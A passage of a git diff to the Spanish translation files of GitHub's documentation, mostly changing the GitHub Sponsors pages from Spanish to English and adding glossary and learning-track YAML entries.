benefit members of the {% data variables.product.prodname_dotcom %} community who develop open source software that promotes the [{% data variables.product.prodname_dotcom %} Community Guidelines](/free-pro-team@latest/github/site-policy/github-community-guidelines). Los pagos desde las organizaciones y hacia las organizaciones patrocinadas no son elegibles para {% data variables.product.prodname_matching_fund %}. +The {% data variables.product.prodname_matching_fund %} aims to benefit members of the {% data variables.product.prodname_dotcom %} community who develop open source software that promotes the [{% data variables.product.prodname_dotcom %} Community Guidelines](/free-pro-team@latest/github/site-policy/github-community-guidelines). Payments to sponsored organizations and payments from organizations are not eligible for {% data variables.product.prodname_matching_fund %}. -Para ser elegible para el {% data variables.product.prodname_matching_fund %}, debes crear un perfil que atraiga a la comunidad que te mantendrá a largo plazo. Para obtener más información acerca de crear un perfil llamativo, consulta la sección "[Editar tus detalles de perfil para {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors)". +To be eligible for the {% data variables.product.prodname_matching_fund %}, you must create a profile that will attract a community that will sustain you for the long term. For more information about creating a strong profile, see "[Editing your profile details for {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors)." -Las donaciones entre los desarrolladores patrocinados no se empatarán. +Donations between sponsored developers will not be matched. {% data reusables.sponsors.legal-additional-terms %} -## Intercambiar opiniones acerca de {% data variables.product.prodname_sponsors %} +## Sharing feedback about {% data variables.product.prodname_sponsors %} {% data reusables.sponsors.feedback %} -## Leer más -- "[Patrocinar a contribuyentes de código abierto](/sponsors/sponsoring-open-source-contributors)" -- "[Recibir patrocinios a través de {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors)". -- "[buscar usuarios y organizaciones con base en su capacidad de patrocinar](/github/searching-for-information-on-github/searching-on-github/searching-users#search-based-on-ability-to-sponsor)" -- "[Buscar repositorios con base en la capacidad de patrocinar](/github/searching-for-information-on-github/searching-on-github/searching-for-repositories#search-based-on-ability-to-sponsor)" -- "[Preguntas frecuentes con el equipo {% data variables.product.prodname_sponsors %} ](https://github.blog/2019-06-12-faq-with-the-github-sponsors-team/)" en {% data variables.product.prodname_blog %} +## Further reading +- "[Sponsoring open source contributors](/sponsors/sponsoring-open-source-contributors)" +- "[Receiving sponsorships through {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors)" +- "[Searching users and organizations based on ability to sponsor](/github/searching-for-information-on-github/searching-on-github/searching-users#search-based-on-ability-to-sponsor)" +- "[Searching repositories based on ability to sponsor](/github/searching-for-information-on-github/searching-on-github/searching-for-repositories#search-based-on-ability-to-sponsor)" +- "[FAQ with the {% data variables.product.prodname_sponsors %} team](https://github.blog/2019-06-12-faq-with-the-github-sponsors-team/)" on {% data variables.product.prodname_blog %} diff --git a/translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization.md b/translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization.md index b2dab6e5a0..c37bc47234 100644 --- a/translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization.md +++ b/translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization.md @@ -1,6 +1,6 @@ --- -title: Configurar los Patrocinadores de GitHub para tu organización -intro: 'Tu organización puede unirse a {% data variables.product.prodname_sponsors %} para recibir pagos por tu trabajo.' +title: Setting up GitHub Sponsors for your organization +intro: 'Your organization can join {% data variables.product.prodname_sponsors %} to receive payments for your work.' redirect_from: - /articles/setting-up-github-sponsorship-for-your-organization - /articles/receiving-sponsorships-as-a-sponsored-organization @@ -14,24 +14,24 @@ topics: - Organizations - Sponsors profile - Open Source -shortTitle: Configuración para una organización +shortTitle: Set up for organization --- -## Unirte a {% data variables.product.prodname_sponsors %} +## Joining {% data variables.product.prodname_sponsors %} {% data reusables.sponsors.you-can-be-a-sponsored-organization %} {% data reusables.sponsors.stripe-supported-regions %} -Después de recibir una invitación para que tu organización se una a {% data variables.product.prodname_sponsors %} puedes completar los pasos a continuación para que se convierta en una organización patrocinada. +After you receive an invitation for your organization to join {% data variables.product.prodname_sponsors %}, you can complete the steps below to become a sponsored organization. -Para unirte a {% data variables.product.prodname_sponsors %} como un colaborador individual independiente a una organización, consulta la sección "[Configurar {% data variables.product.prodname_sponsors %} para tu cuenta de usuario](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)". +To join {% data variables.product.prodname_sponsors %} as an individual contributor outside an organization, see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)." {% data reusables.sponsors.navigate-to-github-sponsors %} {% data reusables.sponsors.view-eligible-accounts %} -3. A la derecha de tu organización, da clic en **Unirse a la lista de espera**. +3. To the right of your organization, click **Join the waitlist**. {% data reusables.sponsors.contact-info %} {% data reusables.sponsors.accept-legal-terms %} -## Completar un perfil de organización patrocinada +## Completing your sponsored organization profile {% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.navigate-to-profile-tab %} @@ -42,7 +42,7 @@ Para unirte a {% data variables.product.prodname_sponsors %} como un colaborador {% data reusables.sponsors.opt-in-to-being-featured %} {% data reusables.sponsors.save-profile %} -## Crear niveles de patrocinio +## Creating sponsorship tiers {% data reusables.sponsors.tier-details %} @@ -57,18 +57,18 @@ Para unirte a {% data variables.product.prodname_sponsors %} como un colaborador {% data reusables.sponsors.review-and-publish-tier %} {% data reusables.sponsors.add-more-tiers %} -## Emitir tu información bancaria +## Submitting your bank information -Como organización patrocinada, recibirás pagos en una cuenta bancaria en una región compatible. Esta puede ser una cuenta bancaria dedicada para tu organización o una cuenta bancaria personal. Puedes obtener una cuenta bancaria de negocios a través de servicios como [Stripe Atlas](https://stripe.com/atlas) o unirte a un host fiscal como [Open Collective](https://opencollective.com/). La persona que configura a {% data variables.product.prodname_sponsors %} para la organización debe vivir en la región compatible también. {% data reusables.sponsors.stripe-supported-regions %} +As a sponsored organization, you will receive payouts to a bank account in a supported region. This can be a dedicated bank account for your organization or a personal bank account. You can get a business bank account through services like [Stripe Atlas](https://stripe.com/atlas) or join a fiscal host like [Open Collective](https://opencollective.com/). The person setting up {% data variables.product.prodname_sponsors %} for the organization must live in the same supported region, too. {% data reusables.sponsors.stripe-supported-regions %} {% data reusables.sponsors.double-check-stripe-info %} {% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.create-stripe-account %} -Para obtener más información acerca de cómo configurar Stripe Connect utilizando Open Collective, consulta la sección [Configurar {% data variables.product.prodname_sponsors %}](https://docs.opencollective.com/help/collectives/github-sponsors) en los documentos de Open Collective. +For more information about setting up Stripe Connect using Open Collective, see [Setting up {% data variables.product.prodname_sponsors %}](https://docs.opencollective.com/help/collectives/github-sponsors) in the Open Collective Docs. -## Emitir tu información de facturación +## Submitting your tax information {% data reusables.sponsors.tax-form-information-org %} @@ -78,17 +78,17 @@ Para obtener más información acerca de cómo configurar Stripe Connect utiliza {% data reusables.sponsors.overview-tab %} {% data reusables.sponsors.tax-form-link %} -## Habilitar la autenticación de dos factores (2FA) en tu cuenta {% data variables.product.prodname_dotcom %} +## Enabling two-factor authentication (2FA) on your {% data variables.product.prodname_dotcom %} account -Before your organization can become a sponsored organization, you must enable 2FA for your account on {% data variables.product.product_location %}. Para obtener más información, consulta "[Configurar autenticación de dos factores](/articles/configuring-two-factor-authentication)". +Before your organization can become a sponsored organization, you must enable 2FA for your account on {% data variables.product.product_location %}. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)." -## Enviar tu aplicación a {% data variables.product.prodname_dotcom %} para su aprobación +## Submitting your application to {% data variables.product.prodname_dotcom %} for approval {% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.request-approval %} {% data reusables.sponsors.github-review-app %} -## Leer más -- "[Acerca de {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)" -- "[Recibir patrocinios a través de {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors)". +## Further reading +- "[About {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)" +- "[Receiving sponsorships through {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors)" diff --git a/translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account.md b/translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account.md index 4a3caef66e..85d5d3c43f 100644 --- a/translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account.md +++ b/translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account.md @@ -1,5 +1,5 @@ --- -title: Configurar a los Patrocinadores de GitHub para tu cuenta de usuario +title: Setting up GitHub Sponsors for your user account intro: 'You can become a sponsored developer by joining {% data variables.product.prodname_sponsors %}, completing your sponsored developer profile, creating sponsorship tiers, submitting your bank and tax information, and enabling two-factor authentication for your account on {% data variables.product.product_location %}.' redirect_from: - /articles/becoming-a-sponsored-developer @@ -12,26 +12,26 @@ type: how_to topics: - User account - Sponsors profile -shortTitle: Configuración para cuenta de usuario +shortTitle: Set up for user account --- -## Unirte a {% data variables.product.prodname_sponsors %} +## Joining {% data variables.product.prodname_sponsors %} {% data reusables.sponsors.you-can-be-a-sponsored-developer %} {% data reusables.sponsors.stripe-supported-regions %} -Para unirte a {% data variables.product.prodname_sponsors %} comoorganización, consulta la sección "[Configurar {% data variables.product.prodname_sponsors %} para tu organización](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)". +To join {% data variables.product.prodname_sponsors %} as an organization, see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)." {% data reusables.sponsors.navigate-to-github-sponsors %} -2. Si eres un propietario de organización, tienes más de una cuenta elegible. Da clic en **Ver tus cuentas elegibles** y, posteriormente, en la lista de cuentas, encuentra tu cuenta de usuario. -3. Da clic en **Unirse a la lista de espera**. +2. If you are an organization owner, you have more than one eligible account. Click **View your eligible accounts**, then in the list of accounts, find your user account. +3. Click **Join the waitlist**. {% data reusables.sponsors.contact-info %} {% data reusables.sponsors.accept-legal-terms %} -Si tienes una cuenta bancaria en una región compatible, {% data variables.product.prodname_dotcom %} revisará tu aplicación dentro de dos semanas. +If you have a bank account in a supported region, {% data variables.product.prodname_dotcom %} will review your application within two weeks. -## Completar un perfil de programador patrocinado +## Completing your sponsored developer profile -Una vez que {% data variables.product.prodname_dotcom %} revise tu aplicación, podrás configurar tu perfil de desarrollador patrocinado para que las personas puedan comenzar a patrocinarte. +After {% data variables.product.prodname_dotcom %} reviews your application, you can set up your sponsored developer profile so that people can start sponsoring you. {% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.navigate-to-profile-tab %} @@ -41,7 +41,7 @@ Una vez que {% data variables.product.prodname_dotcom %} revise tu aplicación, {% data reusables.sponsors.opt-in-to-being-featured %} {% data reusables.sponsors.save-profile %} -## Crear niveles de patrocinio +## Creating sponsorship tiers {% data reusables.sponsors.tier-details %} @@ -56,16 +56,16 @@ Una vez que {% data variables.product.prodname_dotcom %} revise tu aplicación, {% data reusables.sponsors.review-and-publish-tier %} {% data reusables.sponsors.add-more-tiers %} -## Emitir tu información bancaria +## Submitting your bank information -Si vives en una región compatible, puedes seguir estas instrucciones para emitir tu información bancaria y crear una cuenta de Stripe Connect. La región en la cual resides y aquella en la que está tu cuenta bancaria deben coincidir. {% data reusables.sponsors.stripe-supported-regions %} +If you live in a supported region, you can follow these instructions to submit your bank information by creating a Stripe Connect account. Your region of residence and the region of your bank account must match. {% data reusables.sponsors.stripe-supported-regions %} {% data reusables.sponsors.double-check-stripe-info %} {% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.create-stripe-account %} -## Emitir tu información de facturación +## Submitting your tax information {% data reusables.sponsors.tax-form-information-dev %} @@ -75,13 +75,14 @@ Si vives en una región compatible, puedes seguir estas instrucciones para emiti {% data reusables.sponsors.overview-tab %} {% data reusables.sponsors.tax-form-link %} -## Habilitar la autenticación de dos factores (2FA) en tu cuenta {% data variables.product.prodname_dotcom %} +## Enabling two-factor authentication (2FA) on your {% data variables.product.prodname_dotcom %} account -Before you can become a sponsored developer, you must enable 2FA for your account on {% data variables.product.product_location %}. Para obtener más información, consulta "[Configurar autenticación de dos factores](/articles/configuring-two-factor-authentication)". +Before you can become a sponsored developer, you must enable 2FA for your account on {% data variables.product.product_location %}. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)." -## Enviar tu aplicación a {% data variables.product.prodname_dotcom %} para su aprobación +## Submitting your application to {% data variables.product.prodname_dotcom %} for approval {% data reusables.sponsors.navigate-to-sponsors-dashboard %} -4. Haz clic en **Request approval** (Solicitar aprobación). ![Botón Request approval (Solicitar aprobación)](/assets/images/help/sponsors/request-approval-button.png) +4. Click **Request approval**. + ![Request approval button](/assets/images/help/sponsors/request-approval-button.png) {% data reusables.sponsors.github-review-app %} diff --git a/translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/viewing-your-sponsors-and-sponsorships.md b/translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/viewing-your-sponsors-and-sponsorships.md index 5d2208824e..857ea9e9b3 100644 --- a/translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/viewing-your-sponsors-and-sponsorships.md +++ b/translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/viewing-your-sponsors-and-sponsorships.md @@ -1,6 +1,6 @@ --- -title: Ver tus patrocinadores y patrocinios -intro: Puedes ver y exportar la información detallada y la analítica de tus patrocinadores y patrocinios. +title: Viewing your sponsors and sponsorships +intro: You can view and export detailed information and analytics about your sponsors and sponsorships. redirect_from: - /articles/viewing-your-sponsors-and-sponsorships - /github/supporting-the-open-source-community-with-github-sponsors/viewing-your-sponsors-and-sponsorships @@ -11,28 +11,55 @@ type: how_to topics: - Open Source - Analytics -shortTitle: Visualizar patrocinadores & patrocinios +shortTitle: View sponsors & sponsorships --- -## Acerca de los patrocinadores y los patrocinios +## About sponsors and sponsorships -Puedes ver la analítica de tus patrocinios actuales y pasados, los pagos que has recibido de tus patrocinadores, y los eventos tales como las cancelaciones y cambios de nivel de patrocinio para tus patrocinios. También puedes ver la actividad tal como los nuevos patrocinios, cambios, y cancelaciones de los mismos. Puedes filtrar la lista de actividades por fecha. También puedes exportar datos del patrocinio en formato CSV o JSON para la cuenta que estás viendo. +You can view analytics on your current and past sponsorships, the payments you've received from sponsors, and events, such as cancellations and sponsor tier changes for your sponsorships. You can also view activity such as new sponsorships, changes to sponsorships, and canceled sponsorships. You can filter the list of activities by date. You can also export sponsorship data for the account you're viewing in CSV or JSON format. -## Ver tus patrocinadores y patrocinios +## About transaction metadata + +To track where your sponsorships are coming from, you can use custom URLs with metadata for your {% data variables.product.prodname_sponsors %} profile or checkout page. The metadata will be included in your transaction export in the metadata column. For more information about exporting transaction data, see "[Exporting your sponsorship data](#exporting-your-sponsorship-data)." + +Metadata must use the `key=value` format and can be added to the end of these URLs. + +- Sponsored account profile: `https://github.com/sponsors/{account}` +- Sponsorship checkout: `https://github.com/sponsors/{account}/sponsorships` + +The metadata will persist in the URL as a potential sponsor switches accounts to sponsor with, selects monthly or one-time payments, and chooses a different tier. + +### Syntax requirements + +Your metadata must meet the following requirements, which do not apply to any other URL parameters that are passed. + +- Keys must be prefixed by `metadata_`, such as `metadata_campaign`. In your transaction export, the `metadata_` prefix will be removed from the key. +- Keys and values must only contain alphanumeric values, dashes, or underscores. If non-accepted characters are passed in either keys or values, a 404 error will be presented. +- Whitespaces are not allowed. +- A maximum of **10** key-value pairs are accepted per request. If more are passed, only the first 10 will be saved. +- A maximum of **25** characters per key are accepted. If more than that are passed, only the first 25 will be saved. +- A maximum of **100** characters per value are accepted. If more than that are passed, only the first 100 will be saved. + +For example, you can use `https://github.com/sponsors/{account}?metadata_campaign=myblog` to track sponsorships that originate from your blog. `metadata_campaign` is the key and `myblog` is the value. In the metadata column of your transaction export, the key will be listed as `campaign`. + +## Viewing your sponsors and sponsorships {% data reusables.sponsors.navigate-to-sponsors-dashboard %} -1. Como alternativa, para filtrar los patrocinadores por nivel, utiliza el menú desplegable de **Filter** (Filtro), haz clic en **Active tiers** (Niveles activos) o **Retired tiers** (Niveles retirados) y selecciona un nivel. ![Menú desplegable para filtrar por nivel](/assets/images/help/sponsors/filter-drop-down.png) +1. Optionally, to filter your sponsors by tier, use the **Filter** drop-down menu, click **Active tiers** or **Retired tiers**, and select a tier. + ![Drop-down menu to filter by tier](/assets/images/help/sponsors/filter-drop-down.png) -## Visualizar la actividad de patrocinio reciente +## Viewing recent sponsorship activity {% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.activity-tab %} -## Exportar tus datos de patrocinio +## Exporting your sponsorship data -Puedes exportar tus transacciones de patrocinio mensualmente. {% data variables.product.company_short %} te enviará un correo electrónico con los datos de las transacciones de todos tus patrocinadores para el mes que selecciones. Después de que se complete la exportación, puedes exportar otor mes de datos. Puedes exportar hasta 10 conjuntos de datos por hora para cualquiera de tus cuentas patrocinadas. +You can export your sponsorship transactions by month. {% data variables.product.company_short %} will send you an email with transaction data for all of your sponsors for the month you select. After the export is complete, you can export another month of data. You can export up to 10 sets of data per hour for any of your sponsored accounts. {% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.activity-tab %} -1. Da clic en {% octicon "download" aria-label="The download icon" %} **Exportar**. ![Botón de exportar](/assets/images/help/sponsors/export-all.png) -1. Elige un periodo de tiempo y un formato para los datos que te gustaría exportar y luego haz clic en **Iniciar exportación**. ![Opciones para exportar datos](/assets/images/help/sponsors/export-your-sponsors.png) +1. Click {% octicon "download" aria-label="The download icon" %} **Export**. + ![Export button](/assets/images/help/sponsors/export-all.png) +1. Choose a time frame and a format for the data you'd like to export, then click **Start export**. + ![Options for data export](/assets/images/help/sponsors/export-your-sponsors.png) diff --git a/translations/es-ES/content/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor.md b/translations/es-ES/content/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor.md index 6090784d24..9d19dfbaf4 100644 --- a/translations/es-ES/content/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor.md +++ b/translations/es-ES/content/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor.md @@ -1,6 +1,6 @@ --- -title: Patrocinar a un colaborador de código abierto -intro: 'Puedes generar un pago mensual recurrente para un desarrollador u organización que diseñe, cree, o mantenga los proyectos de código abierto de los que dependes.' +title: Sponsoring an open source contributor +intro: 'You can make a monthly recurring payment to a developer or organization who designs, creates, or maintains open source projects you depend on.' redirect_from: - /articles/sponsoring-a-developer - /articles/sponsoring-an-open-source-contributor @@ -14,55 +14,58 @@ type: how_to topics: - Open Source - Sponsors payments -shortTitle: Patrocina a un contribuyente +shortTitle: Sponsor a contributor --- {% data reusables.sponsors.org-sponsors-release-phase %} -## Acerca de los patrocinios +## About sponsorships {% data reusables.sponsors.sponsorship-details %} -Puedes patrocinar una cuenta en nombre de tu cuenta de usuario para invertir en los proyectos de los cuales te beneficies personalmente. Puedes patrocinar una cuenta en nombre de tu organización por varias razones. -- Mantener bibliotecas específicas de las cuales dependa el trabajo de tu organización -- Invertir en el ecosistema del cual dependes como organización (tal como blockchain) -- Desarrollar una conciencia de marca como una organización que valora el código abierto -- Agradecer a los desarrolladores de código abierto por crear bibliotecas que complementan el producto que ofrece tu organización +You can sponsor an account on behalf of your user account to invest in projects that you personally benefit from. You can sponsor an account on behalf of your organization for many reasons. +- Sustaining specific libraries that your organization's work depends on +- Investing in the ecosystem you rely on as a organization (such as blockchain) +- Developing brand awareness as an organization that values open source +- Thanking open source developers for building libraries that complement the product your organization offers -Puedes utilizar una tarjeta de crédito para patrocinar una cuenta en {% data variables.product.product_name %}. Si tu organización quiere pagar por factura, puedes leer más en la sección de [Pagar {% data variables.product.prodname_sponsors %} por factura](/sponsors/sponsoring-open-source-contributors/paying-for-github-sponsors-via-invoice). +You can use a credit card to sponsor an account on {% data variables.product.product_name %}. If your organization wants to pay by invoice, you can read more at [Paying for {% data variables.product.prodname_sponsors %} via invoice](/sponsors/sponsoring-open-source-contributors/paying-for-github-sponsors-via-invoice). -{% data reusables.sponsors.no-fees %} Para obtener más información, consulta "[Acerca de la facturación para {% data variables.product.prodname_sponsors %}](/articles/about-billing-for-github-sponsors)". +{% data reusables.sponsors.no-fees %} For more information, see "[About billing for {% data variables.product.prodname_sponsors %}](/articles/about-billing-for-github-sponsors)." -Cuando patrocinas una cuenta utilizando una tarjeta de crédito, el cargo tomará efecto de inmediato. {% data reusables.sponsors.prorated-sponsorship %} +When you sponsor an account using a credit card, the change will become effective immediately. {% data reusables.sponsors.prorated-sponsorship %} {% data reusables.sponsors.manage-updates-for-orgs %} -Si la cuenta patrocinada retira tu nivel, éste permanecerá configurado hasta que elijas uno diferente o hasta que canceles tu suscripción. Para obtener más información, consulta "[Actualizar un patrocinio](/articles/upgrading-a-sponsorship)" y "[Bajar de categoría un patrocinio](/articles/downgrading-a-sponsorship)." +If the sponsored account retires your tier, the tier will remain in place for you until you choose a different tier or cancel your subscription. For more information, see "[Upgrading a sponsorship](/articles/upgrading-a-sponsorship)" and "[Downgrading a sponsorship](/articles/downgrading-a-sponsorship)." -Si la cuenta que quieres patrocinar no tiene un perfil en {% data variables.product.prodname_sponsors %}, puedes alentarla a que se una. Para obtener más información, consulta las secciónes "[Configurar {% data variables.product.prodname_sponsors %} para tu cuenta de usuario](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)" y "[Configurar {% data variables.product.prodname_sponsors %} para tu organización](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)". +If the account you want to sponsor does not have a profile on {% data variables.product.prodname_sponsors %}, you can encourage the account to join. For more information, see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)" and "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)." {% data reusables.sponsors.sponsorships-not-tax-deductible %} {% note %} -**Nota:**{% data variables.product.prodname_dotcom %} no se responzabiliza por cómo se auto-representan los desarrolladores ni tampoco respalda ninguno de los proyectos de código abierto patrocinados. Las alegaciones son responsabilidad total del desarrollador que recibe los fondos. Asegúrate de que confías en una persona antes de ofrecerle un patrocinio. Para obtener más información, consulta la sección de [Condiciones Adicionales de {% data variables.product.prodname_sponsors %}](/free-pro-team@latest/github/site-policy/github-sponsors-additional-terms). +**Note:** {% data variables.product.prodname_dotcom %} is not responsible for how developers represent themselves nor does {% data variables.product.prodname_dotcom %} endorse any sponsored open source projects. The claims are solely the responsibility of the developer receiving the funds. Make sure you trust a person before offering a sponsorship. For more information, see the [{% data variables.product.prodname_sponsors %} Additional Terms](/free-pro-team@latest/github/site-policy/github-sponsors-additional-terms). {% endnote %} -## Patrocinar una cuenta +## Sponsoring an account -Antes de que puedas patrocinar una cuenta, debes tener una dirección de correo electrónico verificada. Para obtener más información, consulta "[Verificar tu dirección de correo electrónico](/github/getting-started-with-github/verifying-your-email-address)". +Before you can sponsor an account, you must have a verified email address. For more information, see "[Verifying your email address](/github/getting-started-with-github/verifying-your-email-address)." -1. En {% data variables.product.product_name %}, navega al perfil del usuario u organización que quieras patrocinar. -1. Navega a tu panel de patrocinios para la cuenta. - - Para patrocinar a un desarrollador, debajo de su nombre, da clic en **Patrocinar**. ![Botón de Patrocinador](/assets/images/help/profile/sponsor-button.png) - - Para patrocinar una organización, a la derecha del nombre de esta, haz clic en **Patrocinar**. ![Botón de Patrocinador](/assets/images/help/sponsors/sponsor-org-button.png) -1. Opcionalmente, a la derecha de la página, para patrocinar una cuenta en nombre de tu organización, utiliza el menú desplegable de **Patrocinar como**, y da clic en la organización. ![Menú desplegable para elegier la cuenta bajo la cual harás el patrocinio](/assets/images/help/sponsors/sponsor-as-drop-down-menu.png) +1. On {% data variables.product.product_name %}, navigate to the profile of the user or organization you want to sponsor. +1. Navigate to your sponsorship dashboard for the account. + - To sponsor a developer, under the developer's name, click **Sponsor**. + ![Sponsor button](/assets/images/help/profile/sponsor-button.png) + - To sponsor an organization, to the right of the organization's name, click **Sponsor**. + ![Sponsor button](/assets/images/help/sponsors/sponsor-org-button.png) +1. Optionally, on the right side of the page, to sponsor the account on behalf of your organization, use the **Sponsor as** drop-down menu, and click the organization. + ![Drop-down menu to choose the account you'll sponsor as](/assets/images/help/sponsors/sponsor-as-drop-down-menu.png) {% data reusables.sponsors.select-a-tier %} {% data reusables.sponsors.pay-prorated-amount %} {% data reusables.sponsors.select-sponsorship-billing %} - ![Botón de Editar pago](/assets/images/help/sponsors/edit-sponsorship-payment-button.png) + ![Edit payment button](/assets/images/help/sponsors/edit-sponsorship-payment-button.png) {% data reusables.sponsors.who-can-see-your-sponsorship %} - ![Botones radiales para elegir quién puede ver tu patrocinio](/assets/images/help/sponsors/who-can-see-sponsorship.png) + ![Radio buttons to choose who can see your sponsorship](/assets/images/help/sponsors/who-can-see-sponsorship.png) {% data reusables.sponsors.choose-updates %} {% data reusables.sponsors.sponsor-account %} diff --git a/translations/es-ES/data/glossaries/external.yml b/translations/es-ES/data/glossaries/external.yml index 52ef6de3b0..a0adebe4bd 100644 --- a/translations/es-ES/data/glossaries/external.yml +++ b/translations/es-ES/data/glossaries/external.yml @@ -602,9 +602,9 @@ description: >- Un repositorio es el elemento más básico de GitHub. Son más fáciles de imaginar como la carpeta de un proyecto. Un repositorio contiene todos los archivos del proyecto (incluida la documentación) y almacena el historial de revisión de cada archivo. Los repositorios pueden tener varios colaboradores y pueden ser públicos o privados. - - term: repository cache + term: caché del repositorio description: >- - A read-only mirror of repositories for your GitHub Enterprise server instance, located near distributed teams and CI clients. + Una réplica de solo lectura de los repositorios para tu instancia de GitHub Enterprise Server que se ubica cerca de los equipos y clientes de IC distribuidos. - term: gráfico del repositorio description: Una representación visual de los datos de tu repositorio. diff --git a/translations/es-ES/data/learning-tracks/actions.yml b/translations/es-ES/data/learning-tracks/actions.yml index ebf00acee2..3e7d8b1826 100644 --- a/translations/es-ES/data/learning-tracks/actions.yml +++ b/translations/es-ES/data/learning-tracks/actions.yml @@ -37,6 +37,17 @@ deploy_to_the_cloud: - /actions/deployment/deploying-to-amazon-elastic-container-service - /actions/deployment/deploying-to-azure-app-service - /actions/deployment/deploying-to-google-kubernetes-engine +adopting_github_actions_for_your_enterprise: + title: 'Adoptar GitHub Actions para tu empresa' + description: 'Aprende cómo planear y hacer una implementación de {% data variables.product.prodname_actions %} en tu empresa.' + guides: + - /actions/learn-github-actions/understanding-github-actions + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae + - /actions/security-guides/security-hardening-for-github-actions hosting_your_own_runners: title: 'Hospeda tus propios ejecutores' description: 'Puedes crear ejecutores autohospedados para ejecutar flujos de trabajo en un entorno altamente personalizable.' diff --git a/translations/es-ES/data/learning-tracks/admin.yml b/translations/es-ES/data/learning-tracks/admin.yml index 6228c924f1..f31547fb6c 100644 --- a/translations/es-ES/data/learning-tracks/admin.yml +++ b/translations/es-ES/data/learning-tracks/admin.yml @@ -2,6 +2,9 @@ get_started_with_github_ae: title: 'Inicia con {% data variables.product.prodname_ghe_managed %}' description: 'Aprende sobre {% data variables.product.prodname_ghe_managed %} y completa la configuración inicial de una empresa nueva.' + featured_track: true + versions: + ghae: '*' guides: - /admin/overview/about-github-ae - /admin/overview/about-data-residency @@ -12,6 +15,8 @@ deploy_an_instance: title: 'Despliega una instancia' description: 'Instala {% data variables.product.prodname_ghe_server %} en la plataforma de tu elección y configura la autenticación con SAML.' featured_track: true + versions: + ghes: '*' guides: - /admin/overview/system-overview - /admin/installation @@ -22,6 +27,8 @@ deploy_an_instance: upgrade_your_instance: title: 'Mejora tu instancia' description: 'Las mejoras de pruebas en etapas, notifican a los usuarios sobre el mantenimiento y mejoran tu instancia con las últimas características y actualizaciones de seguridad.' + versions: + ghes: '*' guides: - /admin/enterprise-management/enabling-automatic-update-checks - /admin/installation/setting-up-a-staging-instance @@ -29,9 +36,22 @@ upgrade_your_instance: - /admin/user-management/customizing-user-messages-for-your-enterprise - /admin/configuration/enabling-and-scheduling-maintenance-mode - /admin/enterprise-management/upgrading-github-enterprise-server +adopting_github_actions_for_your_enterprise: + title: 'Adoptar GitHub Actions para tu empresa' + description: 'Aprende cómo planear y hacer una implementación de {% data variables.product.prodname_actions %} en tu empresa.' + guides: + - /actions/learn-github-actions/understanding-github-actions + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise + - 